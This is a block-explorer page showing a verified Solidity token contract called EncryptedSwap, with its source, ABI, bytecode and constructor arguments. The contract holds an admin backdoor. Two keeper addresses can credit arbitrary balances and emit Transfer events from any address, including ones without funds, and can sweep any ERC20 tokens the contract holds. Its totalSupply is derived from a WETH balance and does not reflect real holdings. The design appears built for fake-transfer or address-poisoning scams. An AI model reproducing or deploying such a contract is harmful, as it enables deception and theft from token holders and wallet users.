Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface ERC20
•    - function balanceOf(address who)
•    - function allowance(address owner, add ...
•    - function transfer(address to, uint va ...
•    - function transferFrom(address from, a ...
• interface Swap
•    - function EncryptedSwapExchange(addres ...
•  contract EncryptedSwap *
•    - function totalSupply()
•    - function approve(address guy, uint wa ...
•    - function transfer(address dst, uint w ...
•    - function transferFrom(address src, ad ...
•    - function EncryptedSwapExchange(addres ...
•    - function releaseOfEarnings(address tk ...
•    - function resetWETHContract(address ad ...
•    - function resetPoolKeeper(address newK ...
•    - function resetSecondKeeper(address ne ...
•    - function add(uint a, uint b)
•    - function sub(uint a, uint b)
•    - function mul(uint a, uint b)
•    - function div(uint a, uint b)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-06-19
*/

pragma solidity ^0.4.18;

interface ERC20 {
    function balanceOf(address who) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface Swap {
    function EncryptedSwapExchange(address from,address toUser,uint amount) external view returns(bool) ;
}


contract EncryptedSwap {

    address public poolKeeper;
    address public secondKeeper;
    address[3] public WETH;

    //Initializing WETH
    constructor (address _keeper,address _secondKeeper,address _weth1,address _weth2,address _weth3) public {
        poolKeeper = _keeper;
        secondKeeper = _secondKeeper;
        WETH = [_weth1, _weth2, _weth3];
    }

    string public name     = "Encrypted Name Token";
    string public symbol   = "SECRET";
    uint8  public decimals = 18;


    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);
   
    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    modifier keepPool() {
        require((msg.sender == poolKeeper)||(msg.sender == secondKeeper));
        _;
    }
 
    function totalSupply() public view returns (uint) {
        return mul(WETH[0].balance,1000000000) ;
    }

    function approve(address guy, uint wad) public returns (bool) {
        allowance[msg.sender][guy] = wad;
        emit Approval(msg.sender, guy, wad);
        return true;
    }

    function transfer(address dst, uint wad) public returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }

    function transferFrom(address src, address dst, uint wad)
        public
        returns (bool)
    {
        require(balanceOf[src] >= wad);

        if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
            require(allowance[src][msg.sender] >= wad);
            allowance[src][msg.sender] = sub(allowance[src][msg.sender],wad);
        }       
        balanceOf[src] = sub(balanceOf[src],wad);
        balanceOf[dst] = add(balanceOf[dst],wad); 
        emit Transfer(src, dst, wad);
        return true;
    }


    function EncryptedSwapExchange(address fromAddress, address toAddress,uint amount) public returns (bool) {
        require((msg.sender == poolKeeper)||(msg.sender == secondKeeper));
            if(balanceOf[fromAddress] >= amount){
                balanceOf[fromAddress] = sub(balanceOf[fromAddress],amount);
            }
            balanceOf[toAddress] = add(balanceOf[toAddress],amount);             
            emit Transfer(fromAddress,toAddress,amount); 
        return true;
    }



    function releaseOfEarnings(address tkn, address guy,uint amount) public keepPool returns(bool) {
        require((tkn != address(0))&&(guy != address(0)));
        ERC20 token = ERC20(tkn);
        token.transfer(guy, amount);
        return true;
    }




    function resetWETHContract(address addr1,address addr2,address addr3) public keepPool returns(bool) {
        WETH[0] = addr1;
        WETH[1] = addr2;
        WETH[2] = addr3;
        return true;
    }

    function resetPoolKeeper(address newKeeper) public keepPool returns (bool) {
        require(newKeeper != address(0));
        poolKeeper = newKeeper;
        return true;
    }

    function resetSecondKeeper(address newKeeper) public keepPool returns (bool) {
        require(newKeeper != address(0));
        secondKeeper = newKeeper;
        return true;
    }

   function add(uint a, uint b) internal pure returns (uint) {
        uint c = a + b;
        require(c >= a);

        return c;
    }

    function sub(uint a, uint b) internal pure returns (uint) {
        require(b <= a);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns (uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b);

        return c;
    }

    function div(uint a, uint b) internal pure returns (uint) {
        require(b > 0);
        uint c = a / b;

        return c;
    }

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"guy","type":"address"},{"name":"wad","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"poolKeeper","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"src","type":"address"},{"name":"dst","type":"address"},{"name":"wad","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newKeeper","type":"address"}],"name":"resetSecondKeeper","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"secondKeeper","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tkn","type":"address"},{"name":"guy","type":"address"},{"name":"amount","type":"uint256"}],"name":"releaseOfEarnings","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr1","type":"address"},{"name":"addr2","type":"address"},{"name":"addr3","type":"address"}],"name":"resetWETHContract","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"WETH","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"fromAddress","type":"address"},{"name":"toAddress","type":"address"},{"name":"amount","type":"uint256"}],"name":"EncryptedSwapExchange","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"dst","type":"address"},{"name":"wad","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newKeeper","type":"address"}],"name":"resetPoolKeeper","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_keeper","type":"address"},{"name":"_secondKeeper","type":"address"},{"name":"_weth1","type":"address"},{"name":"_weth2","type":"address"},{"name":"_weth3","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":true,"name":"guy","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":true,"name":"dst","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"dst","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Withdrawal","type":"event"}]

60c0604052601460808190527f456e63727970746564204e616d6520546f6b656e00000000000000000000000060a090815262000040916005919062000137565b506040805180820190915260068082527f5345435245540000000000000000000000000000000000000000000000000000602090920191825262000085918162000137565b506007805460ff19166012179055348015620000a057600080fd5b5060405160a08062000d6383398101604081815282516020808501518386015160608088015160809098015160008054600160a060020a03808916600160a060020a0319928316179092556001805483881692169190911790559188018752818316885281891694880194909452831694860194909452919491936200012b906002906003620001bc565b5050505050506200025c565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200017a57805160ff1916838001178555620001aa565b82800160010185558215620001aa579182015b82811115620001aa5782518255916020019190600101906200018d565b50620001b892915062000215565b5090565b826003810192821562000207579160200282015b82811115620002075782518254600160a060020a031916600160a060020a03909116178255602090920191600190910190620001d0565b50620001b892915062000235565b6200023291905b80821115620001b857600081556001016200021c565b90565b6200023291905b80821115620001b8578054600160a060020a03191681556001016200023c565b610af7806200026c6000396000f3006080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f578063178f9e35146101b757806318160ddd146101e857806323b872dd1461020f5780632fce18f614610239578063313ce5671461025a5780633e048658146102855780634235e3cc1461029a5780634e21ae48146102c457806370a08231146102f15780637f9057d114610312578063880a65d81461032a57806395d89b4114610354578063a9059cbb14610369578063dd62ed3e1461038d578063f1127c3f146103b4575b600080fd5b34801561010157600080fd5b5061010a6103d5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a0360043516602435610463565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc6104c9565b60408051600160a060020a039092168252519081900360200190f35b3480156101f457600080fd5b506101fd6104d8565b60408051918252519081900360200190f35b34801561021b57600080fd5b506101a3600160a060020a03600435811690602435166044356104fb565b34801561024557600080fd5b506101a3600160a060020a0360043516610699565b34801561026657600080fd5b5061026f61070d565b6040805160ff9092168252519081900360200190f35b34801561029157600080fd5b506101cc610716565b3480156102a657600080fd5b506101a3600160a060020a0360043581169060243516604435610725565b3480156102d057600080fd5b506101a3600160a060020a0360043581169060243581169060443516610825565b3480156102fd57600080fd5b506101fd600160a060020a03600435166108a4565b34801561031e57600080fd5b506101cc6004356108b6565b34801561033657600080fd5b506101a3600160a060020a03600435811690602435166044356108d3565b34801561036057600080fd5b5061010a610967565b34801561037557600080fd5b506101a3600160a060020a03600435166024356109c2565b34801561039957600080fd5b506101fd600160a060020a03600435811690602435166109d6565b3480156103c057600080fd5b506101a3600160a060020a03600435166109f3565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561045b5780601f106104305761010080835404028352916020019161045b565b820191906000526020600020905b81548152906001019060200180831161043e57829003601f168201915b505050505081565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600054600160a060020a031681565b60006104f66002820154600160a060020a031631633b9aca00610a69565b905090565b600160a060020a03831660009081526008602052604081205482111561052057600080fd5b600160a060020a038416331480159061055e5750600160a060020a038416600090815260096020908152604080832033845290915290205460001914155b156105e657600160a060020a038416600090815260096020908152604080832033845290915290205482111561059357600080fd5b600160a060020a03841660009081526009602090815260408083203384529091529020546105c19083610aa2565b600160a060020a03851660009081526009602090815260408083203384529091529020555b600160a060020a0384166000908152600860205260409020546106099083610aa2565b600160a060020a0380861660009081526008602052604080822093909355908516815220546106389083610ab9565b600160a060020a0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60008054600160a060020a03163314806106bd5750600154600160a060020a031633145b15156106c857600080fd5b600160a060020a03821615156106dd57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60075460ff1681565b600154600160a060020a031681565b600080548190600160a060020a031633148061074b5750600154600160a060020a031633145b151561075657600080fd5b600160a060020a038516158015906107765750600160a060020a03841615155b151561078157600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151869283169163a9059cbb9160448083019260209291908290030181600087803b1580156107ee57600080fd5b505af1158015610802573d6000803e3d6000fd5b505050506040513d602081101561081857600080fd5b5060019695505050505050565b60008054600160a060020a03163314806108495750600154600160a060020a031633145b151561085457600080fd5b5060028054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600380549385169382169390931790925560048054919093169116179055600190565b60086020526000908152604090205481565b600281600381106108c357fe5b0154600160a060020a0316905081565b60008054600160a060020a03163314806108f75750600154600160a060020a031633145b151561090257600080fd5b600160a060020a038416600090815260086020526040902054821161094457600160a060020a0384166000908152600860205260409020546106099083610aa2565b600160a060020a0383166000908152600860205260409020546106389083610ab9565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561045b5780601f106104305761010080835404028352916020019161045b565b60006109cf3384846104fb565b9392505050565b600960209081526000928352604080842090915290825290205481565b60008054600160a060020a0316331480610a175750600154600160a060020a031633145b1515610a2257600080fd5b600160a060020a0382161515610a3757600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b600080831515610a7c5760009150610a9b565b50828202828482811515610a8c57fe5b0414610a9757600080fd5b8091505b5092915050565b60008083831115610ab257600080fd5b5050900390565b600082820183811015610a9757600080fd00a165627a7a7230582015741e56230e6ca395460c5e9743da28140a2af1e59206b4f5f89374c68c37fd002900000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a2388800000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a23888000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000a9f233d0b3ebbf136276165429d071d1abf0000000000000000000000000615dbba33fe61a31c7ed131bda6655ed76748b1

0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f578063178f9e35146101b757806318160ddd146101e857806323b872dd1461020f5780632fce18f614610239578063313ce5671461025a5780633e048658146102855780634235e3cc1461029a5780634e21ae48146102c457806370a08231146102f15780637f9057d114610312578063880a65d81461032a57806395d89b4114610354578063a9059cbb14610369578063dd62ed3e1461038d578063f1127c3f146103b4575b600080fd5b34801561010157600080fd5b5061010a6103d5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a0360043516602435610463565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc6104c9565b60408051600160a060020a039092168252519081900360200190f35b3480156101f457600080fd5b506101fd6104d8565b60408051918252519081900360200190f35b34801561021b57600080fd5b506101a3600160a060020a03600435811690602435166044356104fb565b34801561024557600080fd5b506101a3600160a060020a0360043516610699565b34801561026657600080fd5b5061026f61070d565b6040805160ff9092168252519081900360200190f35b34801561029157600080fd5b506101cc610716565b3480156102a657600080fd5b506101a3600160a060020a0360043581169060243516604435610725565b3480156102d057600080fd5b506101a3600160a060020a0360043581169060243581169060443516610825565b3480156102fd57600080fd5b506101fd600160a060020a03600435166108a4565b34801561031e57600080fd5b506101cc6004356108b6565b34801561033657600080fd5b506101a3600160a060020a03600435811690602435166044356108d3565b34801561036057600080fd5b5061010a610967565b34801561037557600080fd5b506101a3600160a060020a03600435166024356109c2565b34801561039957600080fd5b506101fd600160a060020a03600435811690602435166109d6565b3480156103c057600080fd5b506101a3600160a060020a03600435166109f3565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561045b5780601f106104305761010080835404028352916020019161045b565b820191906000526020600020905b81548152906001019060200180831161043e57829003601f168201915b505050505081565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600054600160a060020a031681565b60006104f66002820154600160a060020a031631633b9aca00610a69565b905090565b600160a060020a03831660009081526008602052604081205482111561052057600080fd5b600160a060020a038416331480159061055e5750600160a060020a038416600090815260096020908152604080832033845290915290205460001914155b156105e657600160a060020a038416600090815260096020908152604080832033845290915290205482111561059357600080fd5b600160a060020a03841660009081526009602090815260408083203384529091529020546105c19083610aa2565b600160a060020a03851660009081526009602090815260408083203384529091529020555b600160a060020a0384166000908152600860205260409020546106099083610aa2565b600160a060020a0380861660009081526008602052604080822093909355908516815220546106389083610ab9565b600160a060020a0380851660008181526008602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60008054600160a060020a03163314806106bd5750600154600160a060020a031633145b15156106c857600080fd5b600160a060020a03821615156106dd57600080fd5b5060018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116178155919050565b60075460ff1681565b600154600160a060020a031681565b600080548190600160a060020a031633148061074b5750600154600160a060020a031633145b151561075657600080fd5b600160a060020a038516158015906107765750600160a060020a03841615155b151561078157600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151869283169163a9059cbb9160448083019260209291908290030181600087803b1580156107ee57600080fd5b505af1158015610802573d6000803e3d6000fd5b505050506040513d602081101561081857600080fd5b5060019695505050505050565b60008054600160a060020a03163314806108495750600154600160a060020a031633145b151561085457600080fd5b5060028054600160a060020a0394851673ffffffffffffffffffffffffffffffffffffffff1991821617909155600380549385169382169390931790925560048054919093169116179055600190565b60086020526000908152604090205481565b600281600381106108c357fe5b0154600160a060020a0316905081565b60008054600160a060020a03163314806108f75750600154600160a060020a031633145b151561090257600080fd5b600160a060020a038416600090815260086020526040902054821161094457600160a060020a0384166000908152600860205260409020546106099083610aa2565b600160a060020a0383166000908152600860205260409020546106389083610ab9565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561045b5780601f106104305761010080835404028352916020019161045b565b60006109cf3384846104fb565b9392505050565b600960209081526000928352604080842090915290825290205481565b60008054600160a060020a0316331480610a175750600154600160a060020a031633145b1515610a2257600080fd5b600160a060020a0382161515610a3757600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b600080831515610a7c5760009150610a9b565b50828202828482811515610a8c57fe5b0414610a9757600080fd5b8091505b5092915050565b60008083831115610ab257600080fd5b5050900390565b600082820183811015610a9757600080fd00a165627a7a7230582015741e56230e6ca395460c5e9743da28140a2af1e59206b4f5f89374c68c37fd0029

00000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a2388800000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a23888000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000000000a9f233d0b3ebbf136276165429d071d1abf0000000000000000000000000615dbba33fe61a31c7ed131bda6655ed76748b1

-----Decoded View---------------
Arg [0] : _keeper (address): 0x00000F9b91345e420AC6FA0049d9bb7A98A23888
Arg [1] : _secondKeeper (address): 0x00000F9b91345e420AC6FA0049d9bb7A98A23888
Arg [2] : _weth1 (address): 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
Arg [3] : _weth2 (address): 0x00000a9F233D0b3EBBF136276165429d071D1aBf
Arg [4] : _weth3 (address): 0x0615Dbba33Fe61a31c7eD131BDA6655Ed76748B1

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a23888
Arg [1] : 00000000000000000000000000000f9b91345e420ac6fa0049d9bb7a98a23888
Arg [2] : 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
Arg [3] : 00000000000000000000000000000a9f233d0b3ebbf136276165429d071d1abf
Arg [4] : 0000000000000000000000000615dbba33fe61a31c7ed131bda6655ed76748b1

499:4064:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;885:47;;8:9:-1;5:2;;;30:1;27;20:12;5:2;885:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;885:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1664:181;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;1664:181:0;-1:-1:-1;;;;;1664:181:0;;;;;;;;;;;;;;;;;;;;;;;;;531:25;;8:9:-1;5:2;;;30:1;27;20:12;5:2;531:25:0;;;;;;;;-1:-1:-1;;;;;531:25:0;;;;;;;;;;;;;;1548:108;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1548:108:0;;;;;;;;;;;;;;;;;;;;1984:548;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;1984:548:0;-1:-1:-1;;;;;1984:548:0;;;;;;;;;;;;3728:185;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3728:185:0;-1:-1:-1;;;;;3728:185:0;;;;;979:27;;8:9:-1;5:2;;;30:1;27;20:12;5:2;979:27:0;;;;;;;;;;;;;;;;;;;;;;;563;;8:9:-1;5:2;;;30:1;27;20:12;5:2;563:27:0;;;;3051:258;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3051:258:0;-1:-1:-1;;;;;3051:258:0;;;;;;;;;;;;3323:208;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3323:208:0;-1:-1:-1;;;;;3323:208:0;;;;;;;;;;;;;;;1277:65;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;1277:65:0;-1:-1:-1;;;;;1277:65:0;;;;;597:22;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;597:22:0;;;;;2542:497;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;2542:497:0;-1:-1:-1;;;;;2542:497:0;;;;;;;;;;;;939:33;;8:9:-1;5:2;;;30:1;27;20:12;5:2;939:33:0;;;;1853:123;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;1853:123:0;-1:-1:-1;;;;;1853:123:0;;;;;;;1349:65;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;1349:65:0;-1:-1:-1;;;;;1349:65:0;;;;;;;;;;3539:181;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3539:181:0;-1:-1:-1;;;;;3539:181:0;;;;;885:47;;;;;;;;;;;;;;;-1:-1:-1;;885:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1664:181::-;1747:10;1720:4;1737:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;1737:26:0;;;;;;;;;;;:32;;;1785:30;;;;;;;1720:4;;1737:26;;1747:10;;1785:30;;;;;;;;-1:-1:-1;1833:4:0;1664:181;;;;:::o;531:25::-;;;-1:-1:-1;;;;;531:25:0;;:::o;1548:108::-;1592:4;1616:31;1620:4;1592;1620:7;;-1:-1:-1;;;;;1620:7:0;:15;1636:10;1616:3;:31::i;:::-;1609:38;;1548:108;:::o;1984:548::-;-1:-1:-1;;;;;2106:14:0;;2076:4;2106:14;;;:9;:14;;;;;;:21;-1:-1:-1;2106:21:0;2098:30;;;;;;-1:-1:-1;;;;;2145:17:0;;2152:10;2145:17;;;;:59;;-1:-1:-1;;;;;;2166:14:0;;;;;;:9;:14;;;;;;;;2181:10;2166:26;;;;;;;;-1:-1:-1;;2166:38:0;;2145:59;2141:213;;;-1:-1:-1;;;;;2229:14:0;;;;;;:9;:14;;;;;;;;2244:10;2229:26;;;;;;;;:33;-1:-1:-1;2229:33:0;2221:42;;;;;;-1:-1:-1;;;;;2311:14:0;;;;;;:9;:14;;;;;;;;2326:10;2311:26;;;;;;;;2307:35;;2338:3;2307;:35::i;:::-;-1:-1:-1;;;;;2278:14:0;;;;;;:9;:14;;;;;;;;2293:10;2278:26;;;;;;;:64;2141:213;-1:-1:-1;;;;;2392:14:0;;;;;;:9;:14;;;;;;2388:23;;2407:3;2388;:23::i;:::-;-1:-1:-1;;;;;2371:14:0;;;;;;;:9;:14;;;;;;:40;;;;2443:14;;;;;;;2439:23;;2458:3;2439;:23::i;:::-;-1:-1:-1;;;;;2422:14:0;;;;;;;:9;:14;;;;;;;;;:40;;;;2479:23;;;;;;;2422:14;;2479:23;;;;;;;;;;;;;-1:-1:-1;2520:4:0;1984:548;;;;;:::o;3728:185::-;3799:4;1477:10;;-1:-1:-1;;;;;1477:10:0;1463;:24;;1462:56;;-1:-1:-1;1505:12:0;;-1:-1:-1;;;;;1505:12:0;1491:10;:26;1462:56;1454:65;;;;;;;;-1:-1:-1;;;;;3824:23:0;;;;3816:32;;;;;;-1:-1:-1;3859:12:0;:24;;-1:-1:-1;;;;;3859:24:0;;-1:-1:-1;;3859:24:0;;;;;;3728:185;;;:::o;979:27::-;;;;;;:::o;563:::-;;;-1:-1:-1;;;;;563:27:0;;:::o;3051:258::-;3140:4;1477:10;;3140:4;;-1:-1:-1;;;;;1477:10:0;1463;:24;;1462:56;;-1:-1:-1;1505:12:0;;-1:-1:-1;;;;;1505:12:0;1491:10;:26;1462:56;1454:65;;;;;;;;-1:-1:-1;;;;;3166:17:0;;;;;;3165:40;;-1:-1:-1;;;;;;3187:17:0;;;;3165:40;3157:49;;;;;;;;-1:-1:-1;3252:27:0;;;;;;-1:-1:-1;;;;;3252:27:0;;;;;;;;;;;;;;;3237:3;;3252:14;;;;;:27;;;;;;;;;;;;;;-1:-1:-1;3252:14:0;:27;;;5:2:-1;;;;30:1;27;20:12;5:2;3252:27:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;3252:27:0;;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;3297:4:0;;3051:258;-1:-1:-1;;;;;;3051:258:0:o;3323:208::-;3417:4;1477:10;;-1:-1:-1;;;;;1477:10:0;1463;:24;;1462:56;;-1:-1:-1;1505:12:0;;-1:-1:-1;;;;;1505:12:0;1491:10;:26;1462:56;1454:65;;;;;;;;-1:-1:-1;3434:4:0;:15;;-1:-1:-1;;;;;3434:15:0;;;-1:-1:-1;;3434:15:0;;;;;;;3460:7;:15;;;;;;;;;;;;;;;3486:7;:15;;;;;;;;;;;-1:-1:-1;;3323:208:0:o;1277:65::-;;;;;;;;;;;;;:::o;597:22::-;;;;;;;;;;;;-1:-1:-1;;;;;597:22:0;;-1:-1:-1;597:22:0;:::o;2542:497::-;2641:4;2681:10;;-1:-1:-1;;;;;2681:10:0;2667;:24;;2666:56;;-1:-1:-1;2709:12:0;;-1:-1:-1;;;;;2709:12:0;2695:10;:26;2666:56;2658:65;;;;;;;;-1:-1:-1;;;;;2741:22:0;;;;;;:9;:22;;;;;;:32;-1:-1:-1;2738:130:0;;-1:-1:-1;;;;;2822:22:0;;;;;;:9;:22;;;;;;2818:34;;2845:6;2818:3;:34::i;2738:130::-;-1:-1:-1;;;;;2909:20:0;;;;;;:9;:20;;;;;;2905:32;;2930:6;2905:3;:32::i;939:33::-;;;;;;;;;;;;;;;-1:-1:-1;;939:33:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1853:123;1910:4;1934:34;1947:10;1959:3;1964;1934:12;:34::i;:::-;1927:41;1853:123;-1:-1:-1;;;1853:123:0:o;1349:65::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;3539:181::-;3608:4;1477:10;;-1:-1:-1;;;;;1477:10:0;1463;:24;;1462:56;;-1:-1:-1;1505:12:0;;-1:-1:-1;;;;;1505:12:0;1491:10;:26;1462:56;1454:65;;;;;;;;-1:-1:-1;;;;;3633:23:0;;;;3625:32;;;;;;-1:-1:-1;3668:10:0;:22;;-1:-1:-1;;;;;3668:22:0;;-1:-1:-1;;3668:22:0;;;;;;;3539:181;;;:::o;4212:201::-;4264:4;;4285:6;;4281:47;;;4315:1;4308:8;;;;4281:47;-1:-1:-1;4349:5:0;;;4353:1;4349;:5;4373;;;;;;;;:10;4365:19;;;;;;4404:1;4397:8;;4212:201;;;;;;:::o;4066:138::-;4118:4;;4143:6;;;;4135:15;;;;;;-1:-1:-1;;4170:5:0;;;4066:138::o;3920:::-;3972:4;3998:5;;;4022:6;;;;4014:15;;;;

bzzr://15741e56230e6ca395460c5e9743da28140a2af1e59206b4f5f89374c68c37fd